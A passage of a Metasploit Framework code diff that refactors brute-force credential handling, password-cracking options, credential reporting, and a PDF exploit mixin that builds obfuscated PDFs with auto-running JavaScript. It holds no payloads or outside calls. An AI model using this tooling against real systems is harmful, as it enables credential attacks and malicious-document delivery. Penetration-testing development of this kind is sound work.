yield Metasploit::Framework::Credential.new(public: add_public, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file))
|
||||||
|
end
|
||||||
|
pass_fd.seek(0)
|
||||||
|
end
|
||||||
|
additional_privates.each do |add_private|
|
||||||
|
yield Metasploit::Framework::Credential.new(public: add_public, private: add_private, realm: realm, private_type: private_type(add_private))
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
ensure
|
ensure
|
||||||
pass_fd.close if pass_fd && !pass_fd.closed?
|
pass_fd.close if pass_fd && !pass_fd.closed?
|
||||||
end
|
end
|
||||||
|
|
|
@ -57,8 +57,8 @@ module Metasploit
|
||||||
inclusion: { in: [true, false] }
|
inclusion: { in: [true, false] }
|
||||||
|
|
||||||
validates :bruteforce_speed,
|
validates :bruteforce_speed,
|
||||||
presence: false,
|
|
||||||
numericality: {
|
numericality: {
|
||||||
|
allow_nil: true,
|
||||||
only_integer: true,
|
only_integer: true,
|
||||||
greater_than_or_equal_to: 0,
|
greater_than_or_equal_to: 0,
|
||||||
less_than_or_equal_to: 5
|
less_than_or_equal_to: 5
|
||||||
|
|
|
@ -151,10 +151,10 @@ module Exploit
|
||||||
if e.kind_of?(Msf::OptionValidateError)
|
if e.kind_of?(Msf::OptionValidateError)
|
||||||
dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3)
|
dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3)
|
||||||
else
|
else
|
||||||
mod.print_error("Call stack:")
|
exploit.print_error("Call stack:")
|
||||||
e.backtrace.each do |line|
|
e.backtrace.each do |line|
|
||||||
break if line =~ /lib.msf.base.simple.exploit.rb/
|
break if line =~ /lib.msf.base.simple.exploit.rb/
|
||||||
mod.print_error(" #{line}")
|
exploit.print_error(" #{line}")
|
||||||
end
|
end
|
||||||
elog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_0)
|
elog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_0)
|
||||||
end
|
end
|
||||||
|
|
|
@ -49,6 +49,47 @@ module Auxiliary::AuthBrute
|
||||||
@@max_per_service = nil
|
@@max_per_service = nil
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with
|
||||||
|
# a private type of 'ntlm_hash'
|
||||||
|
#
|
||||||
|
# @yieldparam [Metasploit::Credential::Core]
|
||||||
|
def each_ntlm_cred
|
||||||
|
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::NTLMHash' }, workspace_id: myworkspace.id)
|
||||||
|
creds.each do |cred|
|
||||||
|
yield cred
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with
|
||||||
|
# a private type of 'password'
|
||||||
|
#
|
||||||
|
# @yieldparam [Metasploit::Credential::Core]
|
||||||
|
def each_password_cred
|
||||||
|
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::Password' }, workspace_id: myworkspace.id)
|
||||||
|
creds.each do |cred|
|
||||||
|
yield cred
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with
|
||||||
|
# a private type of 'ssh_key'
|
||||||
|
#
|
||||||
|
# @yieldparam [Metasploit::Credential::Core]
|
||||||
|
def each_ssh_cred
|
||||||
|
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::SSHKey' }, workspace_id: myworkspace.id)
|
||||||
|
creds.each do |cred|
|
||||||
|
yield cred
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Checks whether we should be adding creds from the DB to a CredCollection
|
||||||
|
#
|
||||||
|
# @return [TrueClass] if any of the datastore options for db creds are selected and the db is active
|
||||||
|
# @return [FalseClass] if none of the datastore options are selected OR the db is not active
|
||||||
|
def prepend_db_creds?
|
||||||
|
(datastore['DB_ALL_CREDS'] || datastore['DB_ALL_PASS'] || datastore['DB_ALL_USERS']) && framework.db.active
|
||||||
|
end
|
||||||
|
|
||||||
# This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing NTLMHashes
|
# This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing NTLMHashes
|
||||||
# from the database. This allows the users to use the DB_ALL_CREDS option.
|
# from the database. This allows the users to use the DB_ALL_CREDS option.
|
||||||
#
|
#
|
||||||
|
@ -56,10 +97,9 @@ module Auxiliary::AuthBrute
|
||||||
# the credential collection to add to
|
# the credential collection to add to
|
||||||
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
|
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
|
||||||
def prepend_db_hashes(cred_collection)
|
def prepend_db_hashes(cred_collection)
|
||||||
if datastore['DB_ALL_CREDS'] && framework.db.active
|
if prepend_db_creds?
|
||||||
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::NTLMHash' }, workspace_id: myworkspace.id)
|
each_ntlm_cred do |cred|
|
||||||
creds.each do |cred|
|
process_cred_for_collection(cred_collection,cred)
|
||||||
cred_collection.prepend_cred(cred.to_credential)
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
cred_collection
|
cred_collection
|
||||||
|
@ -72,10 +112,9 @@ module Auxiliary::AuthBrute
|
||||||
# the credential collection to add to
|
# the credential collection to add to
|
||||||
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
|
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
|
||||||
def prepend_db_keys(cred_collection)
|
def prepend_db_keys(cred_collection)
|
||||||
if datastore['DB_ALL_CREDS'] && framework.db.active
|
if prepend_db_creds?
|
||||||
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::SSHKey' }, workspace_id: myworkspace.id)
|
each_ssh_cred do |cred|
|
||||||
creds.each do |cred|
|
process_cred_for_collection(cred_collection,cred)
|
||||||
cred_collection.prepend_cred(cred.to_credential)
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
cred_collection
|
cred_collection
|
||||||
|
@ -88,15 +127,27 @@ module Auxiliary::AuthBrute
|
||||||
# the credential collection to add to
|
# the credential collection to add to
|
||||||
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
|
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
|
||||||
def prepend_db_passwords(cred_collection)
|
def prepend_db_passwords(cred_collection)
|
||||||
if datastore['DB_ALL_CREDS'] && framework.db.active
|
if prepend_db_creds?
|
||||||
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::Password' }, workspace_id: myworkspace.id)
|
each_password_cred do |cred|
|
||||||
creds.each do |cred|
|
process_cred_for_collection(cred_collection,cred)
|
||||||
cred_collection.prepend_cred(cred.to_credential)
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
cred_collection
|
cred_collection
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Takes a {Metasploit::Credential::Core} and converts it into a
|
||||||
|
# {Metasploit::Framework::Credential} and processes it into the
|
||||||
|
# {Metasploit::Framework::CredentialCollection} as dictated by the
|
||||||
|
# selected datastore options.
|
||||||
|
#
|
||||||
|
# @param [Metasploit::Framework::CredentialCollection] the credential collection to add to
|
||||||
|
# @param [Metasploit::Credential::Core] the Credential Core to process
|
||||||
|
def process_cred_for_collection(cred_collection, cred)
|
||||||
|
msf_cred = cred.to_credential
|
||||||
|
cred_collection.prepend_cred(msf_cred) if datastore['DB_ALL_CREDS']
|
||||||
|
cred_collection.add_private(msf_cred.private) if datastore['DB_ALL_PASS']
|
||||||
|
cred_collection.add_public(msf_cred.public) if datastore['DB_ALL_USERS']
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
# Checks all three files for usernames and passwords, and combines them into
|
# Checks all three files for usernames and passwords, and combines them into
|
||||||
|
|
|
@ -29,6 +29,7 @@ module Auxiliary::JohnTheRipper
|
||||||
OptPath.new('CUSTOM_WORDLIST', [false, 'The path to an optional custom wordlist']),
|
OptPath.new('CUSTOM_WORDLIST', [false, 'The path to an optional custom wordlist']),
|
||||||
OptInt.new('ITERATION_TIMOUT', [false, 'The max-run-time for each iteration of cracking']),
|
OptInt.new('ITERATION_TIMOUT', [false, 'The max-run-time for each iteration of cracking']),
|
||||||
OptPath.new('JOHN_PATH', [false, 'The absolute path to the John the Ripper executable']),
|
OptPath.new('JOHN_PATH', [false, 'The absolute path to the John the Ripper executable']),
|
||||||
|
OptBool.new('KoreLogic', [false, 'Apply the KoreLogic rules to Wordlist Mode(slower)', false]),
|
||||||
OptBool.new('MUTATE', [false, 'Apply common mutations to the Wordlist (SLOW)', false]),
|
OptBool.new('MUTATE', [false, 'Apply common mutations to the Wordlist (SLOW)', false]),
|
||||||
OptPath.new('POT', [false, 'The path to a John POT file to use instead of the default']),
|
OptPath.new('POT', [false, 'The path to a John POT file to use instead of the default']),
|
||||||
OptBool.new('USE_CREDS', [false, 'Use existing credential data saved in the database', true]),
|
OptBool.new('USE_CREDS', [false, 'Use existing credential data saved in the database', true]),
|
||||||
|
|
|
@ -12,6 +12,38 @@ module Auxiliary::Report
|
||||||
|
|
||||||
optionally_include_metasploit_credential_creation
|
optionally_include_metasploit_credential_creation
|
||||||
|
|
||||||
|
def create_cracked_credential(opts={})
|
||||||
|
if active_db?
|
||||||
|
super(opts)
|
||||||
|
else
|
||||||
|
vprint_warning('No active DB -- Credential data will not be saved!')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def create_credential(opts={})
|
||||||
|
if active_db?
|
||||||
|
super(opts)
|
||||||
|
else
|
||||||
|
vprint_warning('No active DB -- Credential data will not be saved!')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def create_credential_login(opts={})
|
||||||
|
if active_db?
|
||||||
|
super(opts)
|
||||||
|
else
|
||||||
|
vprint_warning('No active DB -- Credential data will not be saved!')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def invalidate_login(opts={})
|
||||||
|
if active_db?
|
||||||
|
super(opts)
|
||||||
|
else
|
||||||
|
vprint_warning('No active DB -- Credential data will not be saved!')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
# This method overrides the method from Metasploit::Credential to check for an active db
|
# This method overrides the method from Metasploit::Credential to check for an active db
|
||||||
def active_db?
|
def active_db?
|
||||||
framework.db.active
|
framework.db.active
|
||||||
|
@ -125,13 +157,102 @@ module Auxiliary::Report
|
||||||
framework.db.report_note(opts)
|
framework.db.report_note(opts)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# This Legacy method is responsible for creating credentials from data supplied
|
||||||
|
# by a module. This method is deprecated and the new Metasploit::Credential methods
|
||||||
|
# should be used directly instead.
|
||||||
|
#
|
||||||
|
# @param :opts [Hash] the option hash
|
||||||
|
# @option opts [String] :host the address of the host (also takes a {Mdm::Host})
|
||||||
|
# @option opts [Fixnum] :port the port of the connected service
|
||||||
|
# @option opts [Mdm::Service] :service an optional Service object to build the cred for
|
||||||
|
# @option opts [String] :type What type of private credential this is (e.g. "password", "hash", "ssh_key")
|
||||||
|
# @option opts [String] :proto Which transport protocol the service uses
|
||||||
|
# @option opts [String] :sname The 'name' of the service
|
||||||
|
# @option opts [String] :user The username for the cred
|
||||||
|
# @option opts [String] :pass The private part of the credential (e.g. password)
|
||||||
def report_auth_info(opts={})
|
def report_auth_info(opts={})
|
||||||
|
print_error "*** #{self.fullname} is still calling the deprecated report_auth_info method! This needs to be updated!"
|
||||||
return if not db
|
return if not db
|
||||||
opts = {
|
raise ArgumentError.new("Missing required option :host") if opts[:host].nil?
|
||||||
:workspace => myworkspace,
|
raise ArgumentError.new("Missing required option :port") if (opts[:port].nil? and opts[:service].nil?)
|
||||||
:task => mytask
|
|
||||||
}.merge(opts)
|
if opts[:host].kind_of?(::Mdm::Host)
|
||||||
framework.db.report_auth_info(opts)
|
host = opts[:host].address
|
||||||
|
else
|
||||||
|
host = opts[:host]
|
||||||
|
end
|
||||||
|
|
||||||
|
type = :password
|
||||||
|
case opts[:type]
|
||||||
|
when "password"
|
||||||
|
type = :password
|
||||||
|
when "hash"
|
||||||
|
type = :nonreplayable_hash
|
||||||
|
when "ssh_key"
|
||||||
|
type = :ssh_key
|
||||||
|
end
|
||||||
|
|
||||||
|
case opts[:proto]
|
||||||
|
when "tcp"
|
||||||
|
proto = "tcp"
|
||||||
|
when "udp"
|
||||||
|
proto = "udp"
|
||||||
|
else
|
||||||
|
proto = "tcp"
|
||||||
|
end
|
||||||
|
|
||||||
|
if opts[:service] && opts[:service].kind_of?(Mdm::Service)
|
||||||
|
port = opts[:service].port
|
||||||
|
proto = opts[:service].proto
|
||||||
|
service_name = opts[:service].name
|
||||||
|
host = opts[:service].host.address
|
||||||
|
else
|
||||||
|
port = opts.fetch(:port)
|
||||||
|
service_name = opts.fetch(:sname, nil)
|
||||||
|
end
|
||||||
|
|
||||||
|
username = opts.fetch(:user, nil)
|
||||||
|
private = opts.fetch(:pass, nil)
|
||||||
|
|
||||||
|
service_data = {
|
||||||
|
address: host,
|
||||||
|
port: port,
|
||||||
|
service_name: service_name,
|
||||||
|
protocol: proto,
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
if self.type == "post"
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :session,
|
||||||
|
session_id: session_db_id,
|
||||||
|
post_reference_name: self.refname
|
||||||
|
}
|
||||||
|
else
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: self.fullname
|
||||||
|
}
|
||||||
|
credential_data.merge!(service_data)
|
||||||
|
end
|
||||||
|
|
||||||
|
unless private.nil?
|
||||||
|
credential_data[:private_type] = type
|
||||||
|
credential_data[:private_data] = private
|
||||||
|
end
|
||||||
|
|
||||||
|
unless username.nil?
|
||||||
|
credential_data[:username] = username
|
||||||
|
end
|
||||||
|
|
||||||
|
credential_core = create_credential(credential_data)
|
||||||
|
|
||||||
|
login_data ={
|
||||||
|
core: credential_core,
|
||||||
|
status: Metasploit::Model::Login::Status::UNTRIED
|
||||||
|
}
|
||||||
|
login_data.merge!(service_data)
|
||||||
|
create_credential_login(login_data)
|
||||||
end
|
end
|
||||||
|
|
||||||
def report_vuln(opts={})
|
def report_vuln(opts={})
|
||||||
|
|
|
@ -13,18 +13,18 @@ module Msf::DBManager::IPAddress
|
||||||
end
|
end
|
||||||
|
|
||||||
def rfc3330_reserved(ip)
|
def rfc3330_reserved(ip)
|
||||||
case ip.class.to_s
|
case ip
|
||||||
when "PacketFu::Octets"
|
when PacketFu::Octets
|
||||||
ip_x = ip.to_x
|
ip_x = ip.to_x
|
||||||
ip_i = ip.to_i
|
ip_i = ip.to_i
|
||||||
when "String"
|
when String
|
||||||
if ipv46_validator(ip)
|
if ipv46_validator(ip)
|
||||||
ip_x = ip
|
ip_x = ip
|
||||||
ip_i = Rex::Socket.addr_atoi(ip)
|
ip_i = Rex::Socket.addr_atoi(ip)
|
||||||
else
|
else
|
||||||
raise ArgumentError, "Invalid IP address: #{ip.inspect}"
|
raise ArgumentError, "Invalid IP address: #{ip.inspect}"
|
||||||
end
|
end
|
||||||
when "Fixnum"
|
when Fixnum
|
||||||
if (0..2**32-1).include? ip
|
if (0..2**32-1).include? ip
|
||||||
ip_x = Rex::Socket.addr_itoa(ip)
|
ip_x = Rex::Socket.addr_itoa(ip)
|
||||||
ip_i = ip
|
ip_i = ip
|
||||||
|
@ -58,4 +58,4 @@ module Msf::DBManager::IPAddress
|
||||||
end
|
end
|
||||||
return ret
|
return ret
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -224,12 +224,12 @@ module Exploit::CmdStager
|
||||||
def guess_flavor
|
def guess_flavor
|
||||||
# First try to guess a compatible flavor based on the module & target information.
|
# First try to guess a compatible flavor based on the module & target information.
|
||||||
unless target_flavor.nil?
|
unless target_flavor.nil?
|
||||||
case target_flavor.class.to_s
|
case target_flavor
|
||||||
when 'Array'
|
when Array
|
||||||
return target_flavor[0].to_sym
|
return target_flavor[0].to_sym
|
||||||
when 'String'
|
when String
|
||||||
return target_flavor.to_sym
|
return target_flavor.to_sym
|
||||||
when 'Symbol'
|
when Symbol
|
||||||
return target_flavor
|
return target_flavor
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -283,12 +283,12 @@ module Exploit::CmdStager
|
||||||
# @return [Boolean] true if compatible, false otherwise.
|
# @return [Boolean] true if compatible, false otherwise.
|
||||||
def compatible_flavor?(f)
|
def compatible_flavor?(f)
|
||||||
return true if target_flavor.nil?
|
return true if target_flavor.nil?
|
||||||
case target_flavor.class.to_s
|
case target_flavor
|
||||||
when 'String'
|
when String
|
||||||
return true if target_flavor == f.to_s
|
return true if target_flavor == f.to_s
|
||||||
when 'Array'
|
when Array
|
||||||
target_flavor.each { |tr| return true if tr.to_sym == f }
|
target_flavor.each { |tr| return true if tr.to_sym == f }
|
||||||
when 'Symbol'
|
when Symbol
|
||||||
return true if target_flavor == f
|
return true if target_flavor == f
|
||||||
end
|
end
|
||||||
false
|
false
|
||||||
|
|
|
@ -87,7 +87,7 @@ module Exploit::Java
|
||||||
raise RuntimeError, "Could not load rjb and/or the JVM: " + @java_error.to_s
|
raise RuntimeError, "Could not load rjb and/or the JVM: " + @java_error.to_s
|
||||||
end
|
end
|
||||||
|
|
||||||
if compile_options.class.to_s != "Array" && compile_options
|
if !compile_options.is_a?(Array) && compile_options
|
||||||
raise RuntimeError, "Compiler options must be of type Array."
|
raise RuntimeError, "Compiler options must be of type Array."
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -123,7 +123,7 @@ module Exploit::Local::WindowsKernel
|
||||||
arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch']
|
arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch']
|
||||||
if arch.nil? && module_info['Arch']
|
if arch.nil? && module_info['Arch']
|
||||||
arch = module_info['Arch']
|
arch = module_info['Arch']
|
||||||
arch = arch[0] if arch.class.to_s == 'Array' and arch.length == 1
|
arch = arch[0] if arch.is_a?(Array) and arch.length == 1
|
||||||
end
|
end
|
||||||
if arch.nil?
|
if arch.nil?
|
||||||
print_error('Can not determine the target architecture')
|
print_error('Can not determine the target architecture')
|
||||||
|
|
|
@ -30,7 +30,7 @@ module Exploit::PDF
|
||||||
#Original Filters
|
#Original Filters
|
||||||
##
|
##
|
||||||
|
|
||||||
def ASCIIHexWhitespaceEncode(str)
|
def ascii_hex_whitespace_encode(str)
|
||||||
return str if not datastore['PDF::Obfuscate']
|
return str if not datastore['PDF::Obfuscate']
|
||||||
result = ""
|
result = ""
|
||||||
whitespace = ""
|
whitespace = ""
|
||||||
|
@ -44,7 +44,7 @@ module Exploit::PDF
|
||||||
##
|
##
|
||||||
#Filters from Origami parser
|
#Filters from Origami parser
|
||||||
##
|
##
|
||||||
def RunLengthEncode(stream)
|
def run_length_encode(stream)
|
||||||
eod = 128
|
eod = 128
|
||||||
result = ""
|
result = ""
|
||||||
i = 0
|
i = 0
|
||||||
|
@ -85,7 +85,7 @@ module Exploit::PDF
|
||||||
result << eod.chr
|
result << eod.chr
|
||||||
end
|
end
|
||||||
|
|
||||||
def RandomNonASCIIString(count)
|
def random_non_ascii_string(count)
|
||||||
result = ""
|
result = ""
|
||||||
count.times do
|
count.times do
|
||||||
result << (rand(128) + 128).chr
|
result << (rand(128) + 128).chr
|
||||||
|
@ -93,7 +93,7 @@ module Exploit::PDF
|
||||||
result
|
result
|
||||||
end
|
end
|
||||||
|
|
||||||
def ASCII85Encode(stream)
|
def ascii85_encode(stream)
|
||||||
eod = "~>"
|
eod = "~>"
|
||||||
i = 0
|
i = 0
|
||||||
code = ""
|
code = ""
|
||||||
|
@ -130,7 +130,7 @@ module Exploit::PDF
|
||||||
end
|
end
|
||||||
|
|
||||||
# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
|
# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
|
||||||
def nObfu(str)
|
def nobfu(str)
|
||||||
return str if not datastore['PDF::Obfuscate']
|
return str if not datastore['PDF::Obfuscate']
|
||||||
|
|
||||||
result = ""
|
result = ""
|
||||||
|
@ -149,13 +149,13 @@ module Exploit::PDF
|
||||||
##
|
##
|
||||||
def header(version = '1.5')
|
def header(version = '1.5')
|
||||||
hdr = "%PDF-#{version}" << eol
|
hdr = "%PDF-#{version}" << eol
|
||||||
hdr << "%" << RandomNonASCIIString(4) << eol
|
hdr << "%" << random_non_ascii_string(4) << eol
|
||||||
hdr
|
hdr
|
||||||
end
|
end
|
||||||
|
|
||||||
def add_object(num, data)
|
def add_object(num, data)
|
||||||
@xref[num] = @pdf.length
|
@xref[num] = @pdf.length
|
||||||
@pdf << ioDef(num)
|
@pdf << io_def(num)
|
||||||
@pdf << data
|
@pdf << data
|
||||||
@pdf << endobj
|
@pdf << endobj
|
||||||
end
|
end
|
||||||
|
@ -186,7 +186,7 @@ module Exploit::PDF
|
||||||
end
|
end
|
||||||
|
|
||||||
def trailer(root_obj)
|
def trailer(root_obj)
|
||||||
ret = "trailer" << nObfu("<</Size %d/Root " % (@xref.length + 1)) << ioRef(root_obj) << ">>" << eol
|
ret = "trailer" << nobfu("<</Size %d/Root " % (@xref.length + 1)) << io_ref(root_obj) << ">>" << eol
|
||||||
ret
|
ret
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -209,18 +209,18 @@ module Exploit::PDF
|
||||||
"endobj" << eol
|
"endobj" << eol
|
||||||
end
|
end
|
||||||
|
|
||||||
def ioDef(id)
|
def io_def(id)
|
||||||
"%d 0 obj" % id
|
"%d 0 obj" % id
|
||||||
end
|
end
|
||||||
|
|
||||||
def ioRef(id)
|
def io_ref(id)
|
||||||
"%d 0 R" % id
|
"%d 0 R" % id
|
||||||
end
|
end
|
||||||
|
|
||||||
##
|
##
|
||||||
#Controller funtion, should be entrypoint for pdf exploits
|
#Controller funtion, should be entrypoint for pdf exploits
|
||||||
##
|
##
|
||||||
def CreatePDF(js)
|
def create_pdf(js)
|
||||||
strFilter = ""
|
strFilter = ""
|
||||||
arrResults = []
|
arrResults = []
|
||||||
numIterations = 0
|
numIterations = 0
|
||||||
|
@ -233,10 +233,10 @@ module Exploit::PDF
|
||||||
end
|
end
|
||||||
for i in (0..numIterations-1)
|
for i in (0..numIterations-1)
|
||||||
if i == 0
|
if i == 0
|
||||||
arrResults = SelectEncoder(js,arrEncodings[i],strFilter)
|
arrResults = select_encoder(js,arrEncodings[i],strFilter)
|
||||||
next
|
next
|
||||||
end
|
end
|
||||||
arrResults = SelectEncoder(arrResults[0],arrEncodings[i],arrResults[1])
|
arrResults = select_encoder(arrResults[0],arrEncodings[i],arrResults[1])
|
||||||
end
|
end
|
||||||
case datastore['PDF::Method']
|
case datastore['PDF::Method']
|
||||||
when 'PAGE'
|
when 'PAGE'
|
||||||
|
@ -251,19 +251,19 @@ module Exploit::PDF
|
||||||
##
|
##
|
||||||
#Select an encoder and build a filter specification
|
#Select an encoder and build a filter specification
|
||||||
##
|
##
|
||||||
def SelectEncoder(js,strEncode,strFilter)
|
def select_encoder(js,strEncode,strFilter)
|
||||||
case strEncode
|
case strEncode
|
||||||
when 'ASCII85'
|
when 'ASCII85'
|
||||||
js = ASCII85Encode(js)
|
js = ascii85_encode(js)
|
||||||
strFilter = "/ASCII85Decode"<<strFilter
|
strFilter = "/ASCII85Decode"<<strFilter
|
||||||
when 'ASCIIHEX'
|
when 'ASCIIHEX'
|
||||||
js = ASCIIHexWhitespaceEncode(js)
|
js = ascii_hex_whitespace_encode(js)
|
||||||
strFilter = "/ASCIIHexDecode"<<strFilter
|
strFilter = "/ASCIIHexDecode"<<strFilter
|
||||||
when 'FLATE'
|
when 'FLATE'
|
||||||
js = Zlib::Deflate.deflate(js)
|
js = Zlib::Deflate.deflate(js)
|
||||||
strFilter = "/FlateDecode"<<strFilter
|
strFilter = "/FlateDecode"<<strFilter
|
||||||
when 'RUN'
|
when 'RUN'
|
||||||
js = RunLengthEncode(js)
|
js = run_length_encode(js)
|
||||||
strFilter = "/RunLengthDecode"<<strFilter
|
strFilter = "/RunLengthDecode"<<strFilter
|
||||||
end
|
end
|
||||||
return js,strFilter
|
return js,strFilter
|
||||||
|
@ -277,10 +277,10 @@ module Exploit::PDF
|
||||||
@pdf = ''
|
@pdf = ''
|
||||||
|
|
||||||
@pdf << header
|
@pdf << header
|
||||||
add_object(1, nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << ">>")
|
add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>")
|
||||||
add_object(2, nObfu("<</Type/Outlines/Count 0>>"))
|
add_object(2, nobfu("<</Type/Outlines/Count 0>>"))
|
||||||
add_object(3, nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>"))
|
add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>"))
|
||||||
add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /AA << /O << /JS ") << ioRef(5) << nObfu("/S /JavaScript >>>>>>"))
|
add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /AA << /O << /JS ") << io_ref(5) << nobfu("/S /JavaScript >>>>>>"))
|
||||||
compressed = js
|
compressed = js
|
||||||
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
|
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
|
||||||
stream << "stream" << eol
|
stream << "stream" << eol
|
||||||
|
@ -301,10 +301,10 @@ module Exploit::PDF
|
||||||
|
|
||||||
@pdf << header
|
@pdf << header
|
||||||
|
|
||||||
add_object(1, nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << ">>")
|
add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>")
|
||||||
add_object(2, nObfu("<</Type/Outlines/Count 0>>"))
|
add_object(2, nobfu("<</Type/Outlines/Count 0>>"))
|
||||||
add_object(3, nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>"))
|
add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>"))
|
||||||
add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /AA << /O << /JS ") << ioRef(5) << nObfu("/S /JavaScript >>>>>>"))
|
add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /AA << /O << /JS ") << io_ref(5) << nobfu("/S /JavaScript >>>>>>"))
|
||||||
compressed = js
|
compressed = js
|
||||||
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
|
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
|
||||||
stream << "stream" << eol
|
stream << "stream" << eol
|
||||||
|
@ -324,11 +324,11 @@ module Exploit::PDF
|
||||||
|
|
||||||
@pdf << header
|
@pdf << header
|
||||||
|
|
||||||
add_object(1, nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << ">>")
|
add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>")
|
||||||
add_object(2, nObfu("<</Type/Outlines/Count 0>>"))
|
add_object(2, nobfu("<</Type/Outlines/Count 0>>"))
|
||||||
add_object(3, nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>"))
|
add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>"))
|
||||||
add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /Annots [") << ioRef(5) << nObfu("]>>"))
|
add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /Annots [") << io_ref(5) << nobfu("]>>"))
|
||||||
add_object(5, nObfu("<</Type/Annot /Subtype /Screen /Rect [%s %s %s %s] /AA << /PO << /JS " % [rand(200),rand(200),rand(300),rand(300)]) << ioRef(6) << nObfu("/S /JavaScript >>>>>>"))
|
add_object(5, nobfu("<</Type/Annot /Subtype /Screen /Rect [%s %s %s %s] /AA << /PO << /JS " % [rand(200),rand(200),rand(300),rand(300)]) << io_ref(6) << nobfu("/S /JavaScript >>>>>>"))
|
||||||
compressed = js
|
compressed = js
|
||||||
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
|
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
|
||||||
stream << "stream" << eol
|
stream << "stream" << eol
|
||||||
|
|
|
@ -26,6 +26,7 @@ module Exploit::Remote::SMTPDeliver
|
||||||
[
|
[
|
||||||
OptAddress.new("RHOST", [ true, "The SMTP server to send through" ]),
|
